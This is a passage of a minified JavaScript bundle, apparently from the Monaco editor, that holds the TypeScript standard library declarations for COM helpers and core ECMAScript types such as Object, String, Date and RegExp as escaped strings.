moveNext(): void;\\n}\\n\\ninterface EnumeratorConstructor {\\n    new <T>(collection: any): Enumerator<T>;\\n    new (collection: any): Enumerator<any>;\\n}\\n\\ndeclare var Enumerator: EnumeratorConstructor;\\n\\n/**\\n * Enables reading from a COM safe array, which might have an alternate lower bound, or multiple dimensions.\\n */\\ninterface VBArray<T> {\\n    /**\\n     * Returns the number of dimensions (1-based).\\n     */\\n    dimensions(): number;\\n\\n    /**\\n     * Takes an index for each dimension in the array, and returns the item at the corresponding location.\\n     */\\n    getItem(dimension1Index: number, ...dimensionNIndexes: number[]): T;\\n\\n    /**\\n     * Returns the smallest available index for a given dimension.\\n     * @param dimension 1-based dimension (defaults to 1)\\n     */\\n    lbound(dimension?: number): number;\\n\\n    /**\\n     * Returns the largest available index for a given dimension.\\n     * @param dimension 1-based dimension (defaults to 1)\\n     */\\n    ubound(dimension?: number): number;\\n\\n    /**\\n     * Returns a Javascript array with all the elements in the VBArray. If there are multiple dimensions,\\n     * each successive dimension is appended to the end of the array.\\n     * Example: [[1,2,3],[4,5,6]] becomes [1,2,3,4,5,6]\\n     */\\n    toArray(): T[];\\n}\\n\\ninterface VBArrayConstructor {\\n    new <T>(safeArray: any): VBArray<T>;\\n    new (safeArray: any): VBArray<any>;\\n}\\n\\ndeclare var VBArray: VBArrayConstructor;\\n\\n/**\\n * Automation date (VT_DATE)\\n */\\ninterface VarDate { }\\n\\ninterface DateConstructor {\\n    new (vd: VarDate): Date;\\n}\\n\\ninterface Date {\\n    getVarDate: () => VarDate;\\n}\\n'\n}}),define(\"vs/language/typescript/lib/lib-es6-ts\",[],function(){return{contents:'/*! *****************************************************************************\\nCopyright (c) Microsoft Corporation. All rights reserved. \\nLicensed under the Apache License, Version 2.0 (the \"License\"); you may not use\\nthis file except in compliance with the License. You may obtain a copy of the\\nLicense at http://www.apache.org/licenses/LICENSE-2.0  \\n \\nTHIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\\nKIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED\\nWARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, \\nMERCHANTABLITY OR NON-INFRINGEMENT. \\n \\nSee the Apache Version 2.0 License for specific language governing permissions\\nand limitations under the License.\\n***************************************************************************** */\\n\\n\\n\\n/// <reference no-default-lib=\"true\"/>\\n\\n\\n/////////////////////////////\\n/// ECMAScript APIs\\n/////////////////////////////\\n\\ndeclare const NaN: number;\\ndeclare const Infinity: number;\\n\\n/**\\n  * Evaluates JavaScript code and executes it.\\n  * @param x A String value that contains valid JavaScript code.\\n  */\\ndeclare function eval(x: string): any;\\n\\n/**\\n  * Converts A string to an integer.\\n  * @param s A string to convert into a number.\\n  * @param radix A value between 2 and 36 that specifies the base of the number in numString.\\n  * If this argument is not supplied, strings with a prefix of \\'0x\\' are considered hexadecimal.\\n  * All other strings are considered decimal.\\n  */\\ndeclare function parseInt(s: string, radix?: number): number;\\n\\n/**\\n  * Converts a string to a floating-point number.\\n  * @param string A string that contains a floating-point number.\\n  */\\ndeclare function parseFloat(string: string): number;\\n\\n/**\\n  * Returns a Boolean value that indicates whether a value is the reserved value NaN (not a number).\\n  * @param number A numeric value.\\n  */\\ndeclare function isNaN(number: number): boolean;\\n\\n/**\\n  * Determines whether a supplied number is finite.\\n  * @param number Any numeric value.\\n  */\\ndeclare function isFinite(number: number): boolean;\\n\\n/**\\n  * Gets the unencoded version of an encoded Uniform Resource Identifier (URI).\\n  * @param encodedURI A value representing an encoded URI.\\n  */\\ndeclare function decodeURI(encodedURI: string): string;\\n\\n/**\\n  * Gets the unencoded version of an encoded component of a Uniform Resource Identifier (URI).\\n  * @param encodedURIComponent A value representing an encoded URI component.\\n  */\\ndeclare function decodeURIComponent(encodedURIComponent: string): string;\\n\\n/**\\n  * Encodes a text string as a valid Uniform Resource Identifier (URI)\\n  * @param uri A value representing an encoded URI.\\n  */\\ndeclare function encodeURI(uri: string): string;\\n\\n/**\\n  * Encodes a text string as a valid component of a Uniform Resource Identifier (URI).\\n  * @param uriComponent A value representing an encoded URI component.\\n  */\\ndeclare function encodeURIComponent(uriComponent: string): string;\\n\\ninterface PropertyDescriptor {\\n    configurable?: boolean;\\n    enumerable?: boolean;\\n    value?: any;\\n    writable?: boolean;\\n    get?(): any;\\n    set?(v: any): void;\\n}\\n\\ninterface PropertyDescriptorMap {\\n    [s: string]: PropertyDescriptor;\\n}\\n\\ninterface Object {\\n    /** The initial value of Object.prototype.constructor is the standard built-in Object constructor. */\\n    constructor: Function;\\n\\n    /** Returns a string representation of an object. */\\n    toString(): string;\\n\\n    /** Returns a date converted to a string using the current locale. */\\n    toLocaleString(): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): Object;\\n\\n    /**\\n      * Determines whether an object has a property with the specified name.\\n      * @param v A property name.\\n      */\\n    hasOwnProperty(v: string): boolean;\\n\\n    /**\\n      * Determines whether an object exists in another object\\'s prototype chain.\\n      * @param v Another object whose prototype chain is to be checked.\\n      */\\n    isPrototypeOf(v: Object): boolean;\\n\\n    /**\\n      * Determines whether a specified property is enumerable.\\n      * @param v A property name.\\n      */\\n    propertyIsEnumerable(v: string): boolean;\\n}\\n\\ninterface ObjectConstructor {\\n    new(value?: any): Object;\\n    (): any;\\n    (value: any): any;\\n\\n    /** A reference to the prototype for a class of objects. */\\n    readonly prototype: Object;\\n\\n    /**\\n      * Returns the prototype of an object.\\n      * @param o The object that references the prototype.\\n      */\\n    getPrototypeOf(o: any): any;\\n\\n    /**\\n      * Gets the own property descriptor of the specified object.\\n      * An own property descriptor is one that is defined directly on the object and is not inherited from the object\\'s prototype.\\n      * @param o Object that contains the property.\\n      * @param p Name of the property.\\n    */\\n    getOwnPropertyDescriptor(o: any, p: string): PropertyDescriptor;\\n\\n    /**\\n      * Returns the names of the own properties of an object. The own properties of an object are those that are defined directly\\n      * on that object, and are not inherited from the object\\'s prototype. The properties of an object include both fields (objects) and functions.\\n      * @param o Object that contains the own properties.\\n      */\\n    getOwnPropertyNames(o: any): string[];\\n\\n    /**\\n      * Creates an object that has the specified prototype or that has null prototype.\\n      * @param o Object to use as a prototype. May be null.\\n      */\\n    create(o: object | null): any;\\n\\n    /**\\n      * Creates an object that has the specified prototype, and that optionally contains specified properties.\\n      * @param o Object to use as a prototype. May be null\\n      * @param properties JavaScript object that contains one or more property descriptors.\\n      */\\n    create(o: object | null, properties: PropertyDescriptorMap & ThisType<any>): any;\\n\\n    /**\\n      * Adds a property to an object, or modifies attributes of an existing property.\\n      * @param o Object on which to add or modify the property. This can be a native JavaScript object (that is, a user-defined object or a built in object) or a DOM object.\\n      * @param p The property name.\\n      * @param attributes Descriptor for the property. It can be for a data property or an accessor property.\\n      */\\n    defineProperty(o: any, p: string, attributes: PropertyDescriptor & ThisType<any>): any;\\n\\n    /**\\n      * Adds one or more properties to an object, and/or modifies attributes of existing properties.\\n      * @param o Object on which to add or modify the properties. This can be a native JavaScript object or a DOM object.\\n      * @param properties JavaScript object that contains one or more descriptor objects. Each descriptor object describes a data property or an accessor property.\\n      */\\n    defineProperties(o: any, properties: PropertyDescriptorMap & ThisType<any>): any;\\n\\n    /**\\n      * Prevents the modification of attributes of existing properties, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    seal<T>(o: T): T;\\n\\n    /**\\n      * Prevents the modification of existing property attributes and values, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    freeze<T>(a: T[]): ReadonlyArray<T>;\\n\\n    /**\\n      * Prevents the modification of existing property attributes and values, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    freeze<T extends Function>(f: T): T;\\n\\n    /**\\n      * Prevents the modification of existing property attributes and values, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    freeze<T>(o: T): Readonly<T>;\\n\\n    /**\\n      * Prevents the addition of new properties to an object.\\n      * @param o Object to make non-extensible.\\n      */\\n    preventExtensions<T>(o: T): T;\\n\\n    /**\\n      * Returns true if existing property attributes cannot be modified in an object and new properties cannot be added to the object.\\n      * @param o Object to test.\\n      */\\n    isSealed(o: any): boolean;\\n\\n    /**\\n      * Returns true if existing property attributes and values cannot be modified in an object, and new properties cannot be added to the object.\\n      * @param o Object to test.\\n      */\\n    isFrozen(o: any): boolean;\\n\\n    /**\\n      * Returns a value that indicates whether new properties can be added to an object.\\n      * @param o Object to test.\\n      */\\n    isExtensible(o: any): boolean;\\n\\n    /**\\n      * Returns the names of the enumerable properties and methods of an object.\\n      * @param o Object that contains the properties and methods. This can be an object that you created or an existing Document Object Model (DOM) object.\\n      */\\n    keys(o: any): string[];\\n}\\n\\n/**\\n  * Provides functionality common to all JavaScript objects.\\n  */\\ndeclare const Object: ObjectConstructor;\\n\\n/**\\n  * Creates a new function.\\n  */\\ninterface Function {\\n    /**\\n      * Calls the function, substituting the specified object for the this value of the function, and the specified array for the arguments of the function.\\n      * @param thisArg The object to be used as the this object.\\n      * @param argArray A set of arguments to be passed to the function.\\n      */\\n    apply(this: Function, thisArg: any, argArray?: any): any;\\n\\n    /**\\n      * Calls a method of an object, substituting another object for the current object.\\n      * @param thisArg The object to be used as the current object.\\n      * @param argArray A list of arguments to be passed to the method.\\n      */\\n    call(this: Function, thisArg: any, ...argArray: any[]): any;\\n\\n    /**\\n      * For a given function, creates a bound function that has the same body as the original function.\\n      * The this object of the bound function is associated with the specified object, and has the specified initial parameters.\\n      * @param thisArg An object to which the this keyword can refer inside the new function.\\n      * @param argArray A list of arguments to be passed to the new function.\\n      */\\n    bind(this: Function, thisArg: any, ...argArray: any[]): any;\\n\\n    /** Returns a string representation of a function. */\\n    toString(): string;\\n\\n    prototype: any;\\n    readonly length: number;\\n\\n    // Non-standard extensions\\n    arguments: any;\\n    caller: Function;\\n}\\n\\ninterface FunctionConstructor {\\n    /**\\n      * Creates a new function.\\n      * @param args A list of arguments the function accepts.\\n      */\\n    new(...args: string[]): Function;\\n    (...args: string[]): Function;\\n    readonly prototype: Function;\\n}\\n\\ndeclare const Function: FunctionConstructor;\\n\\ninterface IArguments {\\n    [index: number]: any;\\n    length: number;\\n    callee: Function;\\n}\\n\\ninterface String {\\n    /** Returns a string representation of a string. */\\n    toString(): string;\\n\\n    /**\\n      * Returns the character at the specified index.\\n      * @param pos The zero-based index of the desired character.\\n      */\\n    charAt(pos: number): string;\\n\\n    /**\\n      * Returns the Unicode value of the character at the specified location.\\n      * @param index The zero-based index of the desired character. If there is no character at the specified index, NaN is returned.\\n      */\\n    charCodeAt(index: number): number;\\n\\n    /**\\n      * Returns a string that contains the concatenation of two or more strings.\\n      * @param strings The strings to append to the end of the string.\\n      */\\n    concat(...strings: string[]): string;\\n\\n    /**\\n      * Returns the position of the first occurrence of a substring.\\n      * @param searchString The substring to search for in the string\\n      * @param position The index at which to begin searching the String object. If omitted, search starts at the beginning of the string.\\n      */\\n    indexOf(searchString: string, position?: number): number;\\n\\n    /**\\n      * Returns the last occurrence of a substring in the string.\\n      * @param searchString The substring to search for.\\n      * @param position The index at which to begin searching. If omitted, the search begins at the end of the string.\\n      */\\n    lastIndexOf(searchString: string, position?: number): number;\\n\\n    /**\\n      * Determines whether two strings are equivalent in the current locale.\\n      * @param that String to compare to target string\\n      */\\n    localeCompare(that: string): number;\\n\\n    /**\\n      * Matches a string with a regular expression, and returns an array containing the results of that search.\\n      * @param regexp A variable name or string literal containing the regular expression pattern and flags.\\n      */\\n    match(regexp: string | RegExp): RegExpMatchArray | null;\\n\\n    /**\\n      * Replaces text in a string, using a regular expression or search string.\\n      * @param searchValue A string to search for.\\n      * @param replaceValue A string containing the text to replace for every successful match of searchValue in this string.\\n      */\\n    replace(searchValue: string | RegExp, replaceValue: string): string;\\n\\n    /**\\n      * Replaces text in a string, using a regular expression or search string.\\n      * @param searchValue A string to search for.\\n      * @param replacer A function that returns the replacement text.\\n      */\\n    replace(searchValue: string | RegExp, replacer: (substring: string, ...args: any[]) => string): string;\\n\\n    /**\\n      * Finds the first substring match in a regular expression search.\\n      * @param regexp The regular expression pattern and applicable flags.\\n      */\\n    search(regexp: string | RegExp): number;\\n\\n    /**\\n      * Returns a section of a string.\\n      * @param start The index to the beginning of the specified portion of stringObj.\\n      * @param end The index to the end of the specified portion of stringObj. The substring includes the characters up to, but not including, the character indicated by end.\\n      * If this value is not specified, the substring continues to the end of stringObj.\\n      */\\n    slice(start?: number, end?: number): string;\\n\\n    /**\\n      * Split a string into substrings using the specified separator and return them as an array.\\n      * @param separator A string that identifies character or characters to use in separating the string. If omitted, a single-element array containing the entire string is returned.\\n      * @param limit A value used to limit the number of elements returned in the array.\\n      */\\n    split(separator: string | RegExp, limit?: number): string[];\\n\\n    /**\\n      * Returns the substring at the specified location within a String object.\\n      * @param start The zero-based index number indicating the beginning of the substring.\\n      * @param end Zero-based index number indicating the end of the substring. The substring includes the characters up to, but not including, the character indicated by end.\\n      * If end is omitted, the characters from start through the end of the original string are returned.\\n      */\\n    substring(start: number, end?: number): string;\\n\\n    /** Converts all the alphabetic characters in a string to lowercase. */\\n    toLowerCase(): string;\\n\\n    /** Converts all alphabetic characters to lowercase, taking into account the host environment\\'s current locale. */\\n    toLocaleLowerCase(): string;\\n\\n    /** Converts all the alphabetic characters in a string to uppercase. */\\n    toUpperCase(): string;\\n\\n    /** Returns a string where all alphabetic characters have been converted to uppercase, taking into account the host environment\\'s current locale. */\\n    toLocaleUpperCase(): string;\\n\\n    /** Removes the leading and trailing white space and line terminator characters from a string. */\\n    trim(): string;\\n\\n    /** Returns the length of a String object. */\\n    readonly length: number;\\n\\n    // IE extensions\\n    /**\\n      * Gets a substring beginning at the specified location and having the specified length.\\n      * @param from The starting position of the desired substring. The index of the first character in the string is zero.\\n      * @param length The number of characters to include in the returned substring.\\n      */\\n    substr(from: number, length?: number): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): string;\\n\\n    readonly [index: number]: string;\\n}\\n\\ninterface StringConstructor {\\n    new(value?: any): String;\\n    (value?: any): string;\\n    readonly prototype: String;\\n    fromCharCode(...codes: number[]): string;\\n}\\n\\n/**\\n  * Allows manipulation and formatting of text strings and determination and location of substrings within strings.\\n  */\\ndeclare const String: StringConstructor;\\n\\ninterface Boolean {\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): boolean;\\n}\\n\\ninterface BooleanConstructor {\\n    new(value?: any): Boolean;\\n    (value?: any): boolean;\\n    readonly prototype: Boolean;\\n}\\n\\ndeclare const Boolean: BooleanConstructor;\\n\\ninterface Number {\\n    /**\\n      * Returns a string representation of an object.\\n      * @param radix Specifies a radix for converting numeric values to strings. This value is only used for numbers.\\n      */\\n    toString(radix?: number): string;\\n\\n    /**\\n      * Returns a string representing a number in fixed-point notation.\\n      * @param fractionDigits Number of digits after the decimal point. Must be in the range 0 - 20, inclusive.\\n      */\\n    toFixed(fractionDigits?: number): string;\\n\\n    /**\\n      * Returns a string containing a number represented in exponential notation.\\n      * @param fractionDigits Number of digits after the decimal point. Must be in the range 0 - 20, inclusive.\\n      */\\n    toExponential(fractionDigits?: number): string;\\n\\n    /**\\n      * Returns a string containing a number represented either in exponential or fixed-point notation with a specified number of digits.\\n      * @param precision Number of significant digits. Must be in the range 1 - 21, inclusive.\\n      */\\n    toPrecision(precision?: number): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): number;\\n}\\n\\ninterface NumberConstructor {\\n    new(value?: any): Number;\\n    (value?: any): number;\\n    readonly prototype: Number;\\n\\n    /** The largest number that can be represented in JavaScript. Equal to approximately 1.79E+308. */\\n    readonly MAX_VALUE: number;\\n\\n    /** The closest number to zero that can be represented in JavaScript. Equal to approximately 5.00E-324. */\\n    readonly MIN_VALUE: number;\\n\\n    /**\\n      * A value that is not a number.\\n      * In equality comparisons, NaN does not equal any value, including itself. To test whether a value is equivalent to NaN, use the isNaN function.\\n      */\\n    readonly NaN: number;\\n\\n    /**\\n      * A value that is less than the largest negative number that can be represented in JavaScript.\\n      * JavaScript displays NEGATIVE_INFINITY values as -infinity.\\n      */\\n    readonly NEGATIVE_INFINITY: number;\\n\\n    /**\\n      * A value greater than the largest number that can be represented in JavaScript.\\n      * JavaScript displays POSITIVE_INFINITY values as infinity.\\n      */\\n    readonly POSITIVE_INFINITY: number;\\n}\\n\\n/** An object that represents a number of any kind. All JavaScript numbers are 64-bit floating-point numbers. */\\ndeclare const Number: NumberConstructor;\\n\\ninterface TemplateStringsArray extends ReadonlyArray<string> {\\n    readonly raw: ReadonlyArray<string>;\\n}\\n\\ninterface Math {\\n    /** The mathematical constant e. This is Euler\\'s number, the base of natural logarithms. */\\n    readonly E: number;\\n    /** The natural logarithm of 10. */\\n    readonly LN10: number;\\n    /** The natural logarithm of 2. */\\n    readonly LN2: number;\\n    /** The base-2 logarithm of e. */\\n    readonly LOG2E: number;\\n    /** The base-10 logarithm of e. */\\n    readonly LOG10E: number;\\n    /** Pi. This is the ratio of the circumference of a circle to its diameter. */\\n    readonly PI: number;\\n    /** The square root of 0.5, or, equivalently, one divided by the square root of 2. */\\n    readonly SQRT1_2: number;\\n    /** The square root of 2. */\\n    readonly SQRT2: number;\\n    /**\\n      * Returns the absolute value of a number (the value without regard to whether it is positive or negative).\\n      * For example, the absolute value of -5 is the same as the absolute value of 5.\\n      * @param x A numeric expression for which the absolute value is needed.\\n      */\\n    abs(x: number): number;\\n    /**\\n      * Returns the arc cosine (or inverse cosine) of a number.\\n      * @param x A numeric expression.\\n      */\\n    acos(x: number): number;\\n    /**\\n      * Returns the arcsine of a number.\\n      * @param x A numeric expression.\\n      */\\n    asin(x: number): number;\\n    /**\\n      * Returns the arctangent of a number.\\n      * @param x A numeric expression for which the arctangent is needed.\\n      */\\n    atan(x: number): number;\\n    /**\\n      * Returns the angle (in radians) from the X axis to a point.\\n      * @param y A numeric expression representing the cartesian y-coordinate.\\n      * @param x A numeric expression representing the cartesian x-coordinate.\\n      */\\n    atan2(y: number, x: number): number;\\n    /**\\n      * Returns the smallest number greater than or equal to its numeric argument.\\n      * @param x A numeric expression.\\n      */\\n    ceil(x: number): number;\\n    /**\\n      * Returns the cosine of a number.\\n      * @param x A numeric expression that contains an angle measured in radians.\\n      */\\n    cos(x: number): number;\\n    /**\\n      * Returns e (the base of natural logarithms) raised to a power.\\n      * @param x A numeric expression representing the power of e.\\n      */\\n    exp(x: number): number;\\n    /**\\n      * Returns the greatest number less than or equal to its numeric argument.\\n      * @param x A numeric expression.\\n      */\\n    floor(x: number): number;\\n    /**\\n      * Returns the natural logarithm (base e) of a number.\\n      * @param x A numeric expression.\\n      */\\n    log(x: number): number;\\n    /**\\n      * Returns the larger of a set of supplied numeric expressions.\\n      * @param values Numeric expressions to be evaluated.\\n      */\\n    max(...values: number[]): number;\\n    /**\\n      * Returns the smaller of a set of supplied numeric expressions.\\n      * @param values Numeric expressions to be evaluated.\\n      */\\n    min(...values: number[]): number;\\n    /**\\n      * Returns the value of a base expression taken to a specified power.\\n      * @param x The base value of the expression.\\n      * @param y The exponent value of the expression.\\n      */\\n    pow(x: number, y: number): number;\\n    /** Returns a pseudorandom number between 0 and 1. */\\n    random(): number;\\n    /**\\n      * Returns a supplied numeric expression rounded to the nearest number.\\n      * @param x The value to be rounded to the nearest number.\\n      */\\n    round(x: number): number;\\n    /**\\n      * Returns the sine of a number.\\n      * @param x A numeric expression that contains an angle measured in radians.\\n      */\\n    sin(x: number): number;\\n    /**\\n      * Returns the square root of a number.\\n      * @param x A numeric expression.\\n      */\\n    sqrt(x: number): number;\\n    /**\\n      * Returns the tangent of a number.\\n      * @param x A numeric expression that contains an angle measured in radians.\\n      */\\n    tan(x: number): number;\\n}\\n/** An intrinsic object that provides basic mathematics functionality and constants. */\\ndeclare const Math: Math;\\n\\n/** Enables basic storage and retrieval of dates and times. */\\ninterface Date {\\n    /** Returns a string representation of a date. The format of the string depends on the locale. */\\n    toString(): string;\\n    /** Returns a date as a string value. */\\n    toDateString(): string;\\n    /** Returns a time as a string value. */\\n    toTimeString(): string;\\n    /** Returns a value as a string value appropriate to the host environment\\'s current locale. */\\n    toLocaleString(): string;\\n    /** Returns a date as a string value appropriate to the host environment\\'s current locale. */\\n    toLocaleDateString(): string;\\n    /** Returns a time as a string value appropriate to the host environment\\'s current locale. */\\n    toLocaleTimeString(): string;\\n    /** Returns the stored time value in milliseconds since midnight, January 1, 1970 UTC. */\\n    valueOf(): number;\\n    /** Gets the time value in milliseconds. */\\n    getTime(): number;\\n    /** Gets the year, using local time. */\\n    getFullYear(): number;\\n    /** Gets the year using Universal Coordinated Time (UTC). */\\n    getUTCFullYear(): number;\\n    /** Gets the month, using local time. */\\n    getMonth(): number;\\n    /** Gets the month of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCMonth(): number;\\n    /** Gets the day-of-the-month, using local time. */\\n    getDate(): number;\\n    /** Gets the day-of-the-month, using Universal Coordinated Time (UTC). */\\n    getUTCDate(): number;\\n    /** Gets the day of the week, using local time. */\\n    getDay(): number;\\n    /** Gets the day of the week using Universal Coordinated Time (UTC). */\\n    getUTCDay(): number;\\n    /** Gets the hours in a date, using local time. */\\n    getHours(): number;\\n    /** Gets the hours value in a Date object using Universal Coordinated Time (UTC). */\\n    getUTCHours(): number;\\n    /** Gets the minutes of a Date object, using local time. */\\n    getMinutes(): number;\\n    /** Gets the minutes of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCMinutes(): number;\\n    /** Gets the seconds of a Date object, using local time. */\\n    getSeconds(): number;\\n    /** Gets the seconds of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCSeconds(): number;\\n    /** Gets the milliseconds of a Date, using local time. */\\n    getMilliseconds(): number;\\n    /** Gets the milliseconds of a Date object using Universal Coordinated Time (UTC). */\\n    getUTCMilliseconds(): number;\\n    /** Gets the difference in minutes between the time on the local computer and Universal Coordinated Time (UTC). */\\n    getTimezoneOffset(): number;\\n    /**\\n      * Sets the date and time value in the Date object.\\n      * @param time A numeric value representing the number of elapsed milliseconds since midnight, January 1, 1970 GMT.\\n      */\\n    setTime(time: number): number;\\n    /**\\n      * Sets the milliseconds value in the Date object using local time.\\n      * @param ms A numeric value equal to the millisecond value.\\n      */\\n    setMilliseconds(ms: number): number;\\n    /**\\n      * Sets the milliseconds value in the Date object using Universal Coordinated Time (UTC).\\n      * @param ms A numeric value equal to the millisecond value.\\n      */\\n    setUTCMilliseconds(ms: number): number;\\n\\n    /**\\n      * Sets the seconds value in the Date object using local time.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setSeconds(sec: number, ms?: number): number;\\n    /**\\n      * Sets the seconds value in the Date object using Universal Coordinated Time (UTC).\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setUTCSeconds(sec: number, ms?: number): number;\\n    /**\\n      * Sets the minutes value in the Date object using local time.\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setMinutes(min: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the minutes value in the Date object using Universal Coordinated Time (UTC).\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setUTCMinutes(min: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the hour value in the Date object using local time.\\n      * @param hours A numeric value equal to the hours value.\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setHours(hours: number, min?: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the hours value in the Date object using Universal Coordinated Time (UTC).\\n      * @param hours A numeric value equal to the hours value.\\n      * @param min A numeric value equal to the minutes value.\\n      * @param sec A numeric value equal to the seconds value.\\n      * @param ms A numeric value equal to the milliseconds value.\\n      */\\n    setUTCHours(hours: number, min?: number, sec?: number, ms?: number): number;\\n    /**\\n      * Sets the numeric day-of-the-month value of the Date object using local time.\\n      * @param date A numeric value equal to the day of the month.\\n      */\\n    setDate(date: number): number;\\n    /**\\n      * Sets the numeric day of the month in the Date object using Universal Coordinated Time (UTC).\\n      * @param date A numeric value equal to the day of the month.\\n      */\\n    setUTCDate(date: number): number;\\n    /**\\n      * Sets the month value in the Date object using local time.\\n      * @param month A numeric value equal to the month. The value for January is 0, and other month values follow consecutively.\\n      * @param date A numeric value representing the day of the month. If this value is not supplied, the value from a call to the getDate method is used.\\n      */\\n    setMonth(month: number, date?: number): number;\\n    /**\\n      * Sets the month value in the Date object using Universal Coordinated Time (UTC).\\n      * @param month A numeric value equal to the month. The value for January is 0, and other month values follow consecutively.\\n      * @param date A numeric value representing the day of the month. If it is not supplied, the value from a call to the getUTCDate method is used.\\n      */\\n    setUTCMonth(month: number, date?: number): number;\\n    /**\\n      * Sets the year of the Date object using local time.\\n      * @param year A numeric value for the year.\\n      * @param month A zero-based numeric value for the month (0 for January, 11 for December). Must be specified if numDate is specified.\\n      * @param date A numeric value equal for the day of the month.\\n      */\\n    setFullYear(year: number, month?: number, date?: number): number;\\n    /**\\n      * Sets the year value in the Date object using Universal Coordinated Time (UTC).\\n      * @param year A numeric value equal to the year.\\n      * @param month A numeric value equal to the month. The value for January is 0, and other month values follow consecutively. Must be supplied if numDate is supplied.\\n      * @param date A numeric value equal to the day of the month.\\n      */\\n    setUTCFullYear(year: number, month?: number, date?: number): number;\\n    /** Returns a date converted to a string using Universal Coordinated Time (UTC). */\\n    toUTCString(): string;\\n    /** Returns a date as a string value in ISO format. */\\n    toISOString(): string;\\n    /** Used by the JSON.stringify method to enable the transformation of an object\\'s data for JavaScript Object Notation (JSON) serialization. */\\n    toJSON(key?: any): string;\\n}\\n\\ninterface DateConstructor {\\n    new(): Date;\\n    new(value: number): Date;\\n    new(value: string): Date;\\n    new(year: number, month: number, date?: number, hours?: number, minutes?: number, seconds?: number, ms?: number): Date;\\n    (): string;\\n    readonly prototype: Date;\\n    /**\\n      * Parses a string containing a date, and returns the number of milliseconds between that date and midnight, January 1, 1970.\\n      * @param s A date string\\n      */\\n    parse(s: string): number;\\n    /**\\n      * Returns the number of milliseconds between midnight, January 1, 1970 Universal Coordinated Time (UTC) (or GMT) and the specified date.\\n      * @param year The full year designation is required for cross-century date accuracy. If year is between 0 and 99 is used, then year is assumed to be 1900 + year.\\n      * @param month The month as an number between 0 and 11 (January to December).\\n      * @param date The date as an number between 1 and 31.\\n      * @param hours Must be supplied if minutes is supplied. An number from 0 to 23 (midnight to 11pm) that specifies the hour.\\n      * @param minutes Must be supplied if seconds is supplied. An number from 0 to 59 that specifies the minutes.\\n      * @param seconds Must be supplied if milliseconds is supplied. An number from 0 to 59 that specifies the seconds.\\n      * @param ms An number from 0 to 999 that specifies the milliseconds.\\n      */\\n    UTC(year: number, month: number, date?: number, hours?: number, minutes?: number, seconds?: number, ms?: number): number;\\n    now(): number;\\n}\\n\\ndeclare const Date: DateConstructor;\\n\\ninterface RegExpMatchArray extends Array<string> {\\n    index?: number;\\n    input?: string;\\n}\\n\\ninterface RegExpExecArray extends Array<string> {\\n    index: number;\\n    input: string;\\n}\\n\\ninterface RegExp {\\n    /**\\n      * Executes a search on a string using a regular expression pattern, and returns an array containing the results of that search.\\n      * @param string The String object or string literal on which to perform the search.\\n      */\\n    exec(string: string): RegExpExecArray | null;\\n\\n    /**\\n      * Returns a Boolean value that indicates whether or not a pattern exists in a searched string.\\n      * @param string String on which to perform the search.\\n      */\\n    test(string: string): boolean;\\n\\n    /** Returns a copy of the text of the regular expression pattern. Read-only. The regExp argument is a Regular expression object. It can be a variable name or a literal. */\\n    readonly source: string;\\n\\n    /** Returns a Boolean value indicating the state of the global flag (g) used with a regular expression. Default is false. Read-only. */\\n    readonly global: boolean;\\n\\n    /** Returns a Boolean value indicating the state of the ignoreCase flag (i) used with a regular expression. Default is false. Read-only. */\\n    readonly ignoreCase: boolean;\\n\\n    /** Returns a Boolean value indicating the state of the multiline flag (m) used with a regular expression. Default is false. Read-only. */\\n    readonly multiline: boolean;\\n\\n    lastIndex: number;\\n\\n    // Non-standard extensions\\n    compile(): this;\\n}\\n\\ninterface RegExpConstructor {\\n    new(pattern: RegExp | string): RegExp;\\n    new(pattern: string, flags?: string): RegExp;\\n    (pattern: RegExp | string): RegExp;\\n    (pattern: string, flags?: string): RegExp;\\n    readonly prototype: RegExp;\\n\\n    // Non-standard extensions\\n    $1: string;\\n    $2: string;\\n    $3: string;\\n    $4: string;\\n    $5: string;\\n    $6: string;\\n    $7: string;\\n    $8: string;\\n    $9: string;\\n    lastMatch: string;\\n}\\n\\ndeclare const RegExp: RegExpConstructor;\\n\\ninterface Error {\\n    name: string;\\n    message: string;\\n    stack?: string;\\n}\\n\\ninterface ErrorConstructor {\\n    new(message?: string): Error;\\n    (message?: string): Error;\\n    readonly prototype: Error;\\n}\\n\\ndeclare const Error: ErrorConstructor;\\n\\ninterface EvalError extends Error {\\n}\\n\\ninterface EvalErrorConstructor {\\n    new(message?: string): EvalError;\\n    (message?: string): EvalError;\\n    readonly prototype: EvalError;\\n}\\n\\ndeclare const EvalError: EvalErrorConstructor;\\n\\ninterface RangeError extends Error {\\n}\\n\\ninterface RangeErrorConstructor {\\n    new(message?: string): RangeError;\\n    (message?: string): RangeError;\\n    readonly prototype: RangeError;\\n}\\n\\ndeclare const RangeError: RangeErrorConstructor;\\n\\ninterface ReferenceError extends Error 